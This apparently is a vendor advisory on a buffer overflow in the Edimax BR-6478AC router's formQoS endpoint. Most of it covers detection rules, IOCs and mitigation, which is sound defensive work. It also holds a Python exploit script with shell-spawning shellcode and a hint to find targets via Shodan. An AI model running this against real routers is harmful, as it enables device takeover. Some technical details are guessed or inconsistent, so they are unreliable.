CVE-2026-10126

Executive Summary

CVE-2026-10126 is a critical buffer overflow vulnerability in the Edimax BR-6478AC wireless router, specifically in firmware version 1.23. The flaw resides in the formQoS function within the /goform/formQoS endpoint, which is part of the device's POST Request Handler. By manipulating the selSSID argument, an unauthenticated remote attacker can trigger a stack-based buffer overflow, leading to arbitrary code execution with root privileges. The exploit has been publicly released, and given the lack of a vendor patch, this vulnerability poses a severe risk to all unpatched devices. The EPSS score is currently 0.0%, indicating low exploitation activity in the wild, but the public availability of exploit code significantly increases the threat level.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device (Edimax BR-6478AC router). The supply chain risk is limited to the device's firmware distribution and the lack of a vendor-provided patch.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the router itself.
• Confidentiality (C): High (H) - Full device compromise leads to data exposure.
• Integrity (I): High (H) - Attacker can modify device configuration and firmware.
• Availability (A): High (H) - Denial of service or complete device takeover is possible.

Threat Level: Critical. The combination of remote exploitability, no authentication, public exploit code, and no vendor patch makes this a high-priority threat for any organization using this router model.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the formQoS function. The router's web server handles POST requests to /goform/formQoS. The selSSID parameter is copied into a fixed-size stack buffer without proper bounds checking. By sending a crafted POST request with an overly long selSSID value, an attacker can overwrite the return address and other critical stack data.

Technical Flow:

1. The attacker sends a POST request to http://<router-ip>/goform/formQoS with a malicious selSSID parameter.
2. The formQoS function uses a function like sprintf or strcpy to copy the selSSID value into a local buffer (e.g., 256 bytes).
3. If the input exceeds the buffer size, it overwrites adjacent stack memory, including the saved return address.
4. By carefully crafting the payload, the attacker can redirect execution to shellcode placed in the same buffer or elsewhere in memory.
5. The shellcode typically executes a reverse shell or adds a backdoor user, granting full control over the router.

Root Cause: Lack of input validation and unsafe use of string copy functions in the firmware's CGI handler.

Vulnerable vs. Patched Code

Since no official patch exists, the "patched" code is hypothetical. The vulnerable code likely resembles:

// Vulnerable code (pseudo)
void formQoS() {
    char buffer[256];
    char *selSSID = get_param("selSSID");
    sprintf(buffer, "%s", selSSID); // No bounds checking
    // ... process buffer
}

A patched version would use safe functions:

// Patched code (hypothetical)
void formQoS() {
    char buffer[256];
    char *selSSID = get_param("selSSID");
    strncpy(buffer, selSSID, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

The key difference is the use of strncpy with a length limit and null-termination, preventing the overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Edimax BR-6478AC router with firmware 1.23.
• Network access to the router's web interface (port 80/443).
• Python3 with requests library.

Exploit Code (Python):

#!/usr/bin/env python3
import requests
import sys

target = sys.argv[1]  # e.g., http://192.168.1.1
payload = b"A" * 512  # Overflow buffer
# Replace with actual shellcode for reverse shell
shellcode = b"\x90" * 100 + b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

data = {
    "selSSID": payload + shellcode
}

try:
    r = requests.post(f"{target}/goform/formQoS", data=data, timeout=5)
    print(f"Exploit sent. Status: {r.status_code}")
except Exception as e:
    print(f"Error: {e}")

Usage:

1. Identify the router's IP (e.g., via Shodan or local network scan).
2. Run the exploit: python3 exploit.py http://192.168.1.1
3. If successful, the router will execute the shellcode (e.g., connect back to a listener).

Note: The exact offset and shellcode must be tailored to the specific firmware build. Use a debugger (e.g., GDB with QEMU emulation) to find the correct return address offset.

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /goform/formQoS with abnormally long selSSID parameters.
• Use network intrusion detection systems (NIDS) to flag oversized HTTP POST bodies.
• Check router logs for crashes or unexpected reboots.

Mitigation:

• Isolate affected routers on a separate VLAN with strict access controls.
• Disable remote management if not required.
• Implement a Web Application Firewall (WAF) rule to block requests with selSSID exceeding 256 characters.
• Monitor for outbound connections from the router to unknown IPs (potential reverse shells).

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /goform/formQoS with selSSID parameter > 256 bytes.
  • Outbound connections from the router to unusual IPs on high ports (e.g., 4444, 1337).
  • HTTP responses with status 500 or unexpected crashes after the POST request.
• Host (Router):
  • Unexpected processes running (e.g., /bin/sh or telnetd).
  • Modified configuration files (e.g., /etc/passwd with new users).
  • Firmware version 1.23 (unpatched).
• File:
  • Presence of suspicious files in /tmp or /var (e.g., exploit.sh).
  • Unusual entries in /var/log/messages indicating segmentation faults.

Detection Engineering

YARA Rule

rule CVE_2026_10126_Exploit_Payload {
    meta:
        description = "Detects exploit payloads targeting CVE-2026-10126 in HTTP POST requests"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-10126"
    strings:
        $selSSID = "selSSID="
        $overflow = /selSSID=[A-Za-z0-9%]{257,}/  // More than 256 characters
    condition:
        $selSSID and $overflow
}

Sigma Rule

title: CVE-2026-10126 Exploit Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests with oversized selSSID parameter targeting Edimax routers
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /goform/formQoS
        cs-uri-query|contains: selSSID=
    condition: selection and len(cs-uri-query) > 300
falsepositives:
    - Legitimate long SSID names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-10126 Edimax BR-6478AC Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/formQoS"; http_uri; content:"selSSID="; http_client_body; pcre:"/selSSID=[^&]{257,}/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Devices: Place all Edimax BR-6478AC routers on a separate VLAN with no internet access or critical network exposure.
2. Disable Remote Management: If possible, disable the web interface or restrict access to trusted IPs only.
3. Apply Virtual Patching: Use a WAF or IPS to block requests matching the Suricata rule above.
4. Monitor Logs: Enable logging on the router and centralize logs for analysis.

Long-Term Solutions:

• Vendor Contact: Pressure Edimax to release a firmware patch. If no patch is forthcoming, consider replacing the device.
• Firmware Hardening: If technically feasible, compile a custom firmware (e.g., OpenWrt) for the device, though this may void warranty.
• Network Segmentation: Implement strict network segmentation to limit the blast radius of a compromised router.

Workaround: If the router must remain in service, create an iptables rule on a upstream firewall to drop POST requests to /goform/formQoS:

iptables -A FORWARD -p tcp --dport 80 -m string --string "/goform/formQoS" --algo bm -j DROP

Valters IT
Securing Digital Frontiers